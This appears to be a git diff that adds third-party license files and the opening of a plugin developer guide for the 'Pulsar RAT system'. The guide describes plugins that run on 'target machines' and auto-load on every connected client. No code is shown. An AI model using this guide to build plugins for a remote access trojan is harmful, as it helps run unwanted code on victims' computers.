zM-nri`Fg}$x&6VVm1^p;^f!V0&vZ;$TCrrMeoC}c))#p@=FLvtF@-R+B+|Tl@rmyY zwlEm$(75X0-cdhk0UQ1#tFAIuZU@=y;D52Q7_DVy29%OH>NS$P?Sv1zABD49 zjGE6rscvqnp^H7c&m{Vi%A=1vLdkR0e`lV;O0;G17iHDbhdNKH#W3$}==B(B{f~IZ z?bhwrTk98>@N>3w0!1Bcvc-;OcT*DFA=qNTx-=?n!%G0i{YdW@>$)na^Lsxq+D3;* zF=F5h@ecs4!;0En%=_x)oJkdZFD#y40&Nj;T4R~U)qJix1OuDQ!Zv&Ck>vQKCAv2H z8pNP;0*cTCRu->L($8QFJ)Rt9s~EsLM*uXh-88RTceIM^EMu9TFjS$~7U3fmIgSr> z>Cn_nnFxt6FHYkcHi40brPappk%&ZfvdFP!TEqfu&X#-sbj7Cm#lw#qisHqj(Y2Ua zddv=)@2RB@%(_ndVvFvtH-Q-$*S2B^*=;oy*?=h{i`+2z-Ug zP4i`KWv5x2g9=1ke#mt>NH=G4dpG2czxj~6dS-(W52v3w*#|>jRtcS*mazcI5)aQ& z{eUWA4UGopck%trGv)i8^Y{D6ivFr=FaCW-c3&D}Z_B&K7ze_tzm-n1O`7#mTi(sl z-6utlwSe&xY6(0t6e5m`?6&e=jqyB?9mhzDF4K=H_xNx!3n{+j5k()ig$l~lR^>~H z__zF_0HUs&8ge$<(?rLjSAV0{hnLoUvkS00PW<#?&IfCDHD(gSx?4&VzlHV|9iPxH z^#xa2i7VuPmR8zB_}%o7G)dP9C~$Q=P6*VVS&|E=)(N^Hl|;830UOPUyeb109JHxo zG==h1B%hL)?G)P!4*kgr<$opiLcq-4?5oMy_@p^P0#gO_w_!DGhqPy{lmk&@{tKl> zQkel7s{r8r*j3+wONL+cU{yZz{_JmbMKTtW+K7i7$xBl@7$Isf6yt+4y@X(;LzcUl z>D};AwMLleKK#M2o(j1Mum*l*>vmxTD2WOBVCuw74@RZclen3@bc31JdBF-AsV-W! zN?ihoM4f9LE0ZfR&=pX(L7!x1Yq`}Q+aEU0cv-z_ZIn{Gdy^J>y?em{%|CqIdFOTj zM96+|DY%02I=ooOHYth?wvcSI_7EN5*a$CEeUK~FI;xG7A5V?yy{I1Nw~dX_CRTR3nhnC@ zLaEq2*%+4~5=Ocan8}fVHCs(eB224m^<+AZZKKgxVJCI~8l)rDzdvhp>KK3;dLqf5 zX2@iqtZwQHf)mJ`kod9-{|FEl>cqX+>N5UtY3klBfZKcJkhbIUm80o>M8b39wJ%R^ zNBtb{8`T&~t4f9!^ZK*Kf4icSt3aG}%$5kgqwIi&yYKXf$F&js3MI358Y^J@bY7uU zQ;lou-ng%qa4M5|op>D_*W2L2z5(cdWo_^z5JlkZ3778k6>~X{nNR#M3i!2V=X|Vy zGB1`*E?l<_*$efaZEHFNe4Y`6QWW2HWms@O{ymZ>rL3O8K8A5WxJN#Bo6YB{kK+K6 zjxa_X9q&Ej!^1VEu9U1M=Z!nHG6%B{1RW0P+URRrDwL}5Y-8m(m#;|#foObw^r55grLHhXpEVkm{o=Jnhg&m8HD0iW(8beOJPlyB$>X;#6$Wm;Ez-0U+^4bhaFa~qf3gT-G0%^DEv*$IHO1lnqcbjmx?V`b>_i~()5k(4t7X`zSO65 zO%E@wpc8@|Tu_%b#*53GV)YAS^CTNc#M#9rz3!vTYu8ZcAy#(+tb(smG9%w;?P9CS z(J~T+SnWdCS`^N4Wi)2mACE{1L>RZ`I25*EWR|b5V=?yEu+qGUpT}Vk%Ko;q@oOJM zf*0&p*XLA@4(Qe)U1=@-=K8!I z(9sdvf-T*dmO|BVj8$XC(dz@VBQg#z*CDQ zjrVafBuhQO82gbn@o|`YVe+W~*{gzg*Tlc6v^l5r4?_Y8IDLw#p+&^lsFHDb`La>X zV&4ZdW?uL1QHjx=$-t@#s6-NcP^596z!{zpF;#@V%C#=JtH%+wsYyO#fwj%Ddgfu2 z;(85iOBRkp(T(jl3PJTRI8IViwWW_l#Mq(ZF!~h)wM3bkE#VBfbO*qA*wa~PrTsf! z9!4j^cn?{e*6+D?IGT}O;_AxFE7*4tfsnmsQl&xFfEO4SYkP-2Xh-&MoVrh8MCiYF zQ}c64QN5!`K)a{_5TR$?8==ydPyz#XXGX7RmpmcWpi^DJidp}62qqG~Fz{g)iTf&8 zqPGg6WF4L?=OuZ{(O6#Wr4-~nsC=@!U1xJ%VR1j&)7?RiW+pH)eZlEIFsjL?d^Yej z%MRv$l85hy99th&f-~N@L@p7%f5_8)rfyRbS{eVixyZ|`@BUUwYX!5`@!ns{xk-A9TCj6c z!JB;*2-Lixkt+{2f4BL=C<{OOX~}WXuKKw!%JE=N+utv~ad4?dJi1~a_G+#IM-h}I zJK;}i-;k=1F{dUn!5i0_8Mb%MAR5iDMx3scIC->&JEpkBdd981%_Yw?(tXewAt@bt zhfiG}eYB<#ifBH6Q`vU{b=auZ#2k~6?G|G^tP&R%S7jmk{H|Na-*aIgV-CB1VIljF zFz6tNuviy%RnyUC*75q%&mH`lzUo}=-}2UPE!m35DD-rf_d~Y_xHBKd2syvY zy>nWEO63|-`DmHR24)Q5(XPdiHB1KkLPV3K2%p3}M^nECgEw~Y87n@EbW3U;s8As) zF6LT|hilDDmQWG@5po0>v7`|CvtKK8(}3kYK^M+z`)&W@C0RF`$2XoqHgXr6hR#MC zFV@9?yC9_e=)a(!od0GB-Dlyfo0Bh?RcuU~S?o9ItKf*E&22-bc}Cfoj}yLAfV+gG zw`#QT<6C=e?B=cyNC z=SsYWRAVIJn>#h}8hOF?l~*LqLTYL0oWjVM=l_Pk`FedT2q;jkZR=@t=vRRh6wpkq zEvqh~>M{fPd4~tf!R=1Z1Z>Q<9YWwB#&nteUyQRDAs9(TrG47j@^#vN@N`LV+1$EI z+)5e+|A8S|(q=98PMWPMh{#P>y4XKe>wn@E`>LF^d7S}u-FO(wa3@tFB&zo%7kHB6T?2uG?56D@$9~TLtPjE`WST8oL=Q%a)^!0c)gYw3n5qDk19eT+1 ziQHfVSSQ)4%-o)K1$+4#MNvn>+1y%%VN=x$#KoMoD`4$iOd2fG;Ef#<>u?$+u6@a# z*v!!y)a&uG@>Da6`@XFt5SR7rQ*ZmLE{7AZ#I3Ka-^$wK{Ua5X3@(rqZY{Voo~+0!b^nQd-bt*7DU8ICdfj71RfUz+w(b}#+=oTxI+X1aWor0LwMme%QLH_ zF%;@o5@+{lG2CZjf=rSJvTtbt>CpZDj%_6elvReJpku85D8qV-`2#b zZcHZ+%qJ$3!BXK>HNjPIP7~JVfl9}qc@+@te5Mdck4keu|BBMz>BJ5tCiAM$?e_u* z^a8ahGrSfbAXUWLnQGKUyFmnn@2!C0UVgFTtiG&RLOHmt?5+jpH*{8;HLH5T#a=eM z@HA}fl^UluW@Uu;%h5WJ93p<)#U8XgP;feI>>GY=^}Qd}C_5#&6=`88PXlk!CN_oz zvQ+1#E^Q}CaIl_m*jTV!Or7#U2A?%~QzC4NlOmRtyoDDsGUSh@3etp4cC*pzU<=XJ zv5660SzbueYRgPrP5@n+^O$e~Y2J|YzB7VjvZ4zE)G)6x`55)_Y@7eXi2k6{YQl#~ z9>0+$nz~vPT%xjh&C@Fw%^JH~6a?ev7K>$vS6>26R;F9fmZ_MPJ@UOrAnLjFh$CTt ziv^=e(VO$#KAfsL3Mg>%=hx8Xckzq&MACGx7B3^k-7-Z>%eS#={rh0FuG9^am4GeE z+fBoN1ucI>8tF>WsQE>p^1qxv=tL`5q`UNOuT_DvfOVv+$rK^!_NlRVdzt~`MY1wQ zRQn5PO`yyLN|_Zf=)383F-Eh8KR&RPT34$!6%=ib8i|RO@?x3r0x1-Jw7QEEOZWwW zrPs6Ng1%4xIsbzFi~El7{`ij(r`wHP`i~+{{c{@jziGgyMvMPL!!p-T{$J+&hcts% zdK6v$e-Yn>A*u%!v8iatQU_3xi>N^H+xEV=K$YGbczJ`>D&Z@#hX z)0IA{g$ZLf^Sn}8rG);{Ex|eB>0cL(D0l21N2cNAT6@QE`DJ30eYNTboqwm3es8<_ ztG7?cBQK6|5Q*7YI>`@o_US#a`ELwQ(jM!({@2Lq+tNnLy?uM;m4FN5O5oPuAlJdv zprDzKjZpd<(cfz^?{oeG&@xTs83y!>V4tlJ^%P5x$(a^6{^Q$p-{h$dL~p;QTAF(~ zA&t-PYN?diTFu2Q72u}aWK|wr08EB?6#r`K0%ZBpEpTS+H~EwuqSiE>`Gx2;MHUt3 zZEe+b_}?|dnCo$mv%TN<^+S)%SGVeDmzkcK+ls_Szxz=gI@2({;SEquIXv$Cj34lj z@~TMeqb_t&ktP?1&P5P$JPfbfJLHP{K-I6T>;G*lRWM#GRt0p03`9qewzr1#;0LhF z_pecM!8brUH_de9h<%6Z&#n1a+=#L$iT|>5>z80b{-@MljChCqr22cgO}br^N)M!y z>~4B=Tq?ygUioPpfGwUc5m0?Thx9lEsZ%wP1o0l*Qm>Ut**F_Zw@GDbR(G!Kre;C7 z{eRwQd5r(j|2jmHRslKS&Osbs6Vpi>FUHhTYC-K$3?+Aby64OLlGTe5vUpdiCgP2E zPM13X&l=mq9qF}&*9XoMo!Z|P-cp|2 z^PkA#38pOLq6j>nnTf__Ma=YN;qnVx-EY)MZgo8hzI~+pN8!|3hToM_Ajq%Usg}Yk z9_}@Y>Vo@bLYE`0FwS)J4@;q6;Qf`jb2HrP))#-97dYsE95VX`P8+eL5|B!zK+}D{ zhI6Y$cf3LZ+V~;R!(|gpPevwr&SyC6OROz)QPESh>GYiA)_a;CKuX@{cu8Z?qRW!0 zI)ov4vLT`-1zM-`FLxi4st6EGe@O$Bvd0>=I^ItgcWVPl4sY}6*olpj$Sz>B0c~ug z%NO|H?7fxFo?e2muHaaEz5jB?wzkho6pYFvmtP}TB zONiSe2Tq-_ugwi_BnsrOl)fM8Z!0$i`A4{}TAZP}vb?iB&jeb8uKEMIr$>(PUWI75 zt21L8j$?9HKdgOkd@uI2yZX$OQ);~sVmh6HF>8XQ{?D(Gh9ht8=4h>}sU|CjB$g+e z9FVBQPcjb^7Fl8yNjC!*-Rv@YEykN|2e$e1b$C_@-zQXqy9 z#t>@FAd}1lf+UqFL&6|K0wh50mjwHqU+4ZiJyeVJ`scQ?zs zcmG~`RbHi|dDMqLhtW%2DMzPJlBxss{t@fsqmtEc=J&Q0#B~hU&1rJTvDCI^lT<**+?6^Wf0?&eb{aR6fh|fmdn%Gy zTU|Xzf{}W~oAY8Nz?wg+s!O&t8Z!Wa{)gucj70#4j#Ey|Jbww?B{E5`Zunazkf&PE zP^IHw#mmdCrGw9$={h*lEEu4PWm|2J0&$F)WV!L=VogL3WmLxEGq0_G9R&91z9|Xj(GT zGK=Nkaf#l{;*?UUl}f2=%Y(hcPgHc~jm^n#h7$Ci#&)Jd&3G4~)7rL=6(t-Q^hz^3 zZRc(!3Q)b_cx}G-S_It&=<}LX00=l$j-3qA+ATS_2e8!2o12GUQf=GMRRMd(#wh+iFsp#1TH^B1W^3F#-~T) zG&%rEO;vULvRC8r%mW$t)zXHF$)>X zO*8eubU}r#t*<8p-4q&v7IJY^z`7D2M{yxR2bGJx5-E!$V!^;+G0DyqHD(*cX>W;rFoq_At^c0mR!~QOeL>+^EhDX zu$qK2@pl?Ai@&-M#&i}4L5L(#JlNc`GYfubRN!@xfrUV^+$O8>MNT({9to}2%C@6X z%DTr4H9!|%tC=5$o!NKA=%_V;cgH0stcMSuL|H5wjz4_Au0zO@4Sp%CXO$Rx(!|J;`s5Xo7zMIh8o(RdY8UaXQp%BFD#9QU`*y>bn`u3tA50i4lb!$i1-h0PX+$qaffg5Y3VRjU|v79 z6B@vnVz*Y;#Bd$*S5os8ZRb~-j%#4uDGZBq)angQjH}+z1Fu7owtBbc28zv5xwrH_ z<#xS;$C$>s%C9T46$u*MZjT-h0&Z-;G%j&v;rvyz!?4T9PH?d{qHfeEP1D>=!tuZ$ zfV55MkgMN&#_y6TBOb~d-tXHV!V~6=-dwkk;sPnid{B~cI`(^nzL{O#jnG^#FHJsw zl1_EBOIwH-y=EQr`*;qF>!IV#SaA~7o0A1vgn;uN<2i58g7sHU?BC^+Zf&GExB;Ch z#Tc`u?BrE|-M8O5>sS{ZaC$%jU+1;CcwNHgTa2!{@JR~*qJif-cff+*1A}qa@vgZj zWzcK7=suU zVoI+0b(Ue(TS}YXm!NiNKTt$IswpYmq3Wurc0d-zyKPiyv&pelaD@B^L&A}rMNkyi>8_6KF`(6V96O}*nSfW zOk;37kE@gF&GSN@QOxp`AvLNPAo!9G28GmToBD?9hBTPPHR%qP*_T{rY0?MwCY>y^ z#ds+OMNlLTeW}X`V=i9nrmFe7b1z`qS^tE3xJx<3>$8aXlq1%eiU8jYc%-;K@CS1U zYn?J4b)+u&8%g_ob<2^t`FCkPJNe<3Ko-rOk*O?+VC3XlBvLY12S(Scd-GPUNu(Q= zy4@&7WO_k9*+#;R-Lj+hm*GM$3Mg(NC!77N?6&2~r+hHNfs8ntnHKgO-celTodOG? z><_I{;Rl~x-g0i%${||KktFo2$HHoR76(LqbJv_6A6erE6!jCy7q|W*;n+X;%`{Hl z43vFeabWl9>5ji(y-%7j%X?uzjsj_x$G}rgO130-iV;z0wV~~u1q-aI9xP|LKO%P; zO2$UXElXg6JFPB4d=PQ8bcpMgCJg+n31}dh6rb_B)Ux@}ZB6-1=Qwkyz8$a;V~a^y zfF@T^WdDHNTbxfmi;)2?qbk4Y95^g7a$e1%4s~+E2CKf5(y0DTc^U4jtpf~zTC>;L zt8MVz-YEbDX^5&)q8fS`J^wb5^OpOeB?ERAU%oP{tPEXmIZ;8946*_+KRx1jIqo8q z$1AE184aFM2DfDRB4TX5nD#?|9d|q+I91*K5V@a@GJcmpR`Ys_ z!w6;2_}iR*)Me0GX4>71*HB1i9N!xp;R)6WTgf6TMk;e;|HT08w7pRV^q+Mxi}cXx zfHG=8nTLvb+>Mms=Bz)2Ll(l$yL)N7J~jVpZ{5RoqoXNd4l`NZy6yeB;SON&+f`3^ z)niCq<5bbS;p@@)BChesbq8NP>DvDG$}t123K+Iv$t52H!eH5g@bwb06W-EnEbOuz ztNKXFcq1&Fa^dJ%`xnu~bL(-T4sh38+&MG}{F|m4eNXK3Z1MRo%>=8&TWHnMFWti9 zAgz7g;yKU(o{tXn_ymUwaMdLT_KioS1H0K+u}}LK#!xZVi0}Qdhm@VZ&%*oC7w`NO zTUgyH8C9Mhs0&vkBYF>r=XMd`pHh1iYwHPJ_H(!jJi&`-wdo2j&6Z3FlargB_PHd! zY8o~BOIpj2j@x5Ktg%{Ox4WYCvrkaZG?H)=Ev%Hc*6J0W>|5~5(Yb^o7sTbO^-r>; z3L!T;1^gP;DWp9K1bl&)I_PtE3i9se8Ald`Z zsa~%mtN15uT4h9gd zOU;w}{s^GoYOS?L`3g?V3{sS=R!|oH_F4^y!l~ad&79;&BL0>K8?x7!N(OY7SeIVd zEZ?;$1zvLDmVh6SC~XQs>_m4y*E*|Am(SBhNv~4wiX=h;E18jh5Fu(zM_c5YoX|PVQy5TMEoQ?bjex`z}`lw)w?tmG=)9Lg>|?&<~{YQ^s|B`0A-24EyW73 z3ukrH6LGOW04l^ndEtJUS`+ij%-8Lwt% zTa|e)XtF!UNKb1*U+0KNsclXR(ldo;IQV4!buCxLW5n6va%r3!XVVR_MDj% zEiANo6nj&s7N`;zjFs1ZUD+A(Y$I(Fgd%0519oE=y&P%iI(*`D?r80IrPy8t`;y*A zk<=Y{i`4Un7GLcf8ScqOTlelJ{fs?m99&lGbj{%n3PrXw;SFZH%znaF5GfMAZ+ea! znCN)=dCU^TTp{v6%6LUW!{V*N-tl8@OEb4!YVBV(K{=!T@tidPRvV*b;-;#7IyMWc zz_;vPM3*B$UREZ&k{Xb_LuHu1jn|bI6GzRDpPRXq zT3!53wsD{hg{+hRSb4WMR$yHl?$eT&K<%;IJw9S!wpeh`$N<}1oo;q5D0y}Tr*u=( zRa1N3vHvBxmw^At!M1xPNo2%3f?X6YgibA6;w`vO+1Esgw1!`j1rr@^Q6xU}nB-z^ z%I6l4t*_CNqPzI+$@f7cJ>z+qP1wPN*l5%V2lMk+{SJ*eK~3 z`e`itjbrci_dD?R5iJ{z@hfM5YF2b;$GcxceP24x*2X*NsyR)^nuBl{b|0r|K2#ct z1`iA64;}Zh1+$+0)#*|&A1X^Qw49bXVL3_jjZ|d*ZMKx$p+&2WCKSi{fJZX#0Rmgh zt9zP8=VfkW>8Z0x+0Oc%tmk__lPpwV!TR%bto9!Q{=yZDR86p%O8)nyCQtUmd3~Fr zB1`Z_&pt5htP0or?K^iEt2T*xT=J`%X&D;)We0r@#iEQ}6f4;4AXWC~;88gM^*WfN z;L#6gdl=DcSxOVms8WV~&{e0S7568MC}v;-E%yDcZlm%_6F74wxFz7>&4$5^p}-Q` zv_KTSekk8fk687*pDCyut44}viANm6YzRD{cgLNc-YNiRFsET?m^FO%PFV;Br98V| zG>K^p8P&3LAFbA!EFa`Z4b~J2^1Q(8*PePx18T2cdvWUB{eGou5`D_>{yEkG@?NST z@DnBmT6>$H)l_cYI%vGM9Gvnfbo{O`s=zIzq^1}>rmmEGuL=dLJBJeK*~nC>vVXX= zu67{bt*Rcr*tXBFw#lP(tj+*hst>z5(I@>xgFXl7o?{uE?M z7_qyJx;biMCOti}@5?W^RvL<&1TzI^2#98Ow^|y)X9tj7ddWMxm5PaQYb~evhrh+eUh-dAmFz@LsAR}(wusYb44_1P zrYA!1Z)_0L*6;uWsj?vfo_^;a+0GeVMgSjHTCl<_AcPkAp-^Vt@6E?m~3*B`9N2KdxeWo6Lo}+HPA?`KaPvgH998I6@Yp74_`vI;VFSvTO5ox|8 zz(ib}lIZE6Ij-vWmZb5he#nwt`p(2UhxzykUocdQt`{&S(SMo-KkuaMUKh8*w6j(V3DEt8rJjAn$;rugnqfnwpXec#a1=liOPrDUOTz zMMLI`|JCz)1^L8w0@IhcR!aS<#3XPP(L2^6PuALZ<8y8h6fm+@shEWI*TwLEjFfN# zn~m`v8B0C+e5gGf&UVI1wdv;E;g6*mc=$(;3d@GzjqCgLn*kqJGopv=uNM4iCx*xr z{4xPc`ln5VxW9&&0n14W$|@PO8tM+2#2>d6IFD2p5e3L69z;<^pl`EJ8F924?zgbI z_U=_Vc8p0j>B|q#|6b((MogJ$xW@1c8})Zi6pZ!ZrT!||1=3UyH<5H0M!9P+K;I$C zz3K?@^|#SLI{UhA>;Q)^PWQ&pO!Vz+M(IV_asG9iN&1B7El+BYH-C8i9WBpKWOi~q z6~-1Bbf#EyQjr=uvxpnIl^{Xn)bem)p-Q^89IE)qn;LhU zpN=d$%7?z+VNo2Kr4C0livp~dko6x9b|1TIDKeaVAhTFnNS=8lhwfZObb+Y!P{K^|Fj=T1T zf6C#HBlG9X^zBT;V|?_J`-}(IJboNu?~$jH7n|nPkAB{NqnXLJUz#;8$3N&HHTW+6 z(NI(P-E@EX;mHa!uAdQQPd}(5^L1)R>AZscT9=PIlkDV-IUsqRpI%BqYf$onr=b+i z`&faR}5xtab2m(2P(bdZF_Z@j9%pT)HpoLWs zK`9ft{175@;wS#WAA4VsaL^ovHZXmt)ugao|E$^KdZDpoN2k2L{-{SSZ*L2e`X{KQ zXzCAe7}zKytGc2S>tSA$?dl)oS{%5Szl^Y$*>B;!sMn=&*sJVUUqg|-MTYGS_)J(C zvu-dP1B^Hf7|{rfC{&-V!=FoJUKyhU`r|=hQ3AjSWGqA)k^GtVR$lpE!0k`ijFdjm zM?dI0atM4((8jQ1x((fb6bfTT>LyPoUK`ClLCD6|)>ck$TB#XBk^cUk_e+Vfdt~^u z?pgfT33g^JpS|lhqf=V~#?Y>mHe2NI2r~Rh+K-0t_Mw!vtU3awtmtQStZwIMepSDM zgE{$|#V^iC&OiFViW#%pj5SeCc2L`vJR}RILbTIc0BB@%Zf;>6$fJ? zeYgzy`y8K=KJYh-?n@$AaDU-ElG|;My>C#`i zXWsi-u8U^xZ%}QAco;-#8b8n$XkTz0ryoApS*9^|cu(4NO7fa&$*yFMZh{t6gz9*8 z5N`pNrc6$yuv|`W$Q;f>u!?5%rBv0&-Dy#Qp1NwrC+!frgK>*YmH@8D+Y=xj(OAI^ zp|`N*5=kdH7NQr~pI*o8t$^&2`m!7>Cw)emqgyr@80znyn2Zq1W?SD(>rvGy$40x_ zVA?{hzuy%${oG}ExY+EWXY|*Cfbs{)jRtdR#P@LEY92odW$e&HrEXj502%n#&{CHE{~MCJ+uFFTjoaF|t&M+UU1{3{ZJVHN6SQrDwoMQq z1OLH#{@-hN#qlPQ!IU4q+;O@m@Xl1L9^_l?;1|Z-{zfsi*QMFtGiPL!hdXzqj48R# zK9^Nw6uy!*w0!-~Et16ftu*j&Thxee3S~vz?FHoIw$EVu3;?ULEeG3YAQ6LYIoLjf z|2J|F-qjf^C?0b2dm(0`u(H~vs;dkv$dSlWka6?D{{fO0kp hD`TUwrk2+J$9 + + + + License + + +

The Bouncy Castle Cryptographic C#® API

+

License:

+The Bouncy Castle License
+Copyright (c) 2000-2018 The Legion of the Bouncy Castle Inc. +(https://www.bouncycastle.org)
+Permission is hereby granted, free of charge, to any person obtaining a +copy of this software and associated documentation files (the "Software"), to deal in the +Software without restriction, including without limitation the rights to use, copy, modify, merge, +publish, distribute, sub license, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+The above copyright notice and this permission notice shall be included +in all copies or substantial portions of the Software.
+THE SOFTWARE IS PROVIDED "AS IS", +WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
+INCLUDING BUT NOT LIMITED TO THE +WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
+PURPOSE AND NONINFRINGEMENT. IN NO +EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
+OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+DEALINGS IN THE SOFTWARE.
+
+
+ + diff --git a/Licenses/GlobalMouseKeyHook_license.txt b/Licenses/GlobalMouseKeyHook_license.txt new file mode 100644 index 0000000..78d9757 --- /dev/null +++ b/Licenses/GlobalMouseKeyHook_license.txt @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2010-2018 George Mamaladze + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/Licenses/Mono.Cecil_license.txt b/Licenses/Mono.Cecil_license.txt new file mode 100644 index 0000000..afd0ae6 --- /dev/null +++ b/Licenses/Mono.Cecil_license.txt @@ -0,0 +1,21 @@ +Copyright (c) 2008 - 2015 Jb Evain +Copyright (c) 2008 - 2011 Novell, Inc. + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/Licenses/Open.Nat_license.txt b/Licenses/Open.Nat_license.txt new file mode 100644 index 0000000..cb71efb --- /dev/null +++ b/Licenses/Open.Nat_license.txt @@ -0,0 +1,23 @@ +The MIT License + +Copyright (C) 2006 Alan McGovern +Copyright (C) 2007 Ben Motmans +Copyright (C) 2014 Lucas Ontivero + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/Licenses/ResourceLib_license.txt b/Licenses/ResourceLib_license.txt new file mode 100644 index 0000000..cd812d8 --- /dev/null +++ b/Licenses/ResourceLib_license.txt @@ -0,0 +1,20 @@ +Copyright (c) 2008-2016 Daniel Doubrovkine, Vestris Inc. + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/Licenses/SilkIcons_license.txt b/Licenses/SilkIcons_license.txt new file mode 100644 index 0000000..e1c6e8d --- /dev/null +++ b/Licenses/SilkIcons_license.txt @@ -0,0 +1,2 @@ +Silk icon set 1.3 by Mark James +http://www.famfamfam.com/lab/icons/silk/ diff --git a/Licenses/protobuf-net_license.txt b/Licenses/protobuf-net_license.txt new file mode 100644 index 0000000..692cf3b --- /dev/null +++ b/Licenses/protobuf-net_license.txt @@ -0,0 +1,20 @@ +The core Protocol Buffers technology is provided courtesy of Google. +At the time of writing, this is released under the BSD license. +Full details can be found here: + +http://code.google.com/p/protobuf/ + + +This .NET implementation is Copyright 2008 Marc Gravell + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/Plugins/README.md b/Plugins/README.md new file mode 100644 index 0000000..60f1e9b --- /dev/null +++ b/Plugins/README.md @@ -0,0 +1,607 @@ +# Pulsar Plugin System - Developer Guide + +Welcome to the Pulsar Plugin System! This guide will teach you how to create powerful plugins that can run on client machines through the Pulsar RAT system. + +## πŸ“‹ Table of Contents +- [Quick Start](#-quick-start) +- [Plugin Types](#-plugin-types) +- [Creating Your First Plugin](#-creating-your-first-plugin) +- [Advanced Features](#-advanced-features) +- [Code Templates](#-code-templates) +- [Troubleshooting](#-troubleshooting) + +## Quick Start + +### What You Need +- **Visual Studio** or **VS Code** with C# support +- **Basic C# knowledge** (variables, methods, classes) +- **Most importantly, a brain** + +### Plugin System Overview +- **Client Plugins**: Run on the target machine (what we'll focus on) +- **Server Plugins**: Run on the server (for UI and management) +- **Universal System**: Works with any .NET Framework 4.7.2+ project + +## Plugin Types + +### 0. **Client-Only Auto Plugins** (New) +- Target a single assembly that implements `IUniversalPlugin` +- Name the compiled DLL with a `.Client.dll` suffix (for example `ActionPlugin.Client.dll`) and drop it into `Pulsar.Server/Plugins` +- Every connected client loads the plugin automatically without any server UI wiring +- The plugin's `Initialize` method runs immediately after download, perfect for one-shot actions +- Update the `Version` property when you publish a new build so clients receive the fresh copy +- Optional: place a `.init` file next to your DLL to supply raw init data bytes + +### 1. **Server-Only Plugins** (Run on server machine) +- Add menu items to the server interface +- Create custom server UI windows +- Handle server-side data processing +- **Example**: Custom client management tools, server utilities + +### 2. **Server-Client Plugins** (Both components needed) +- Server 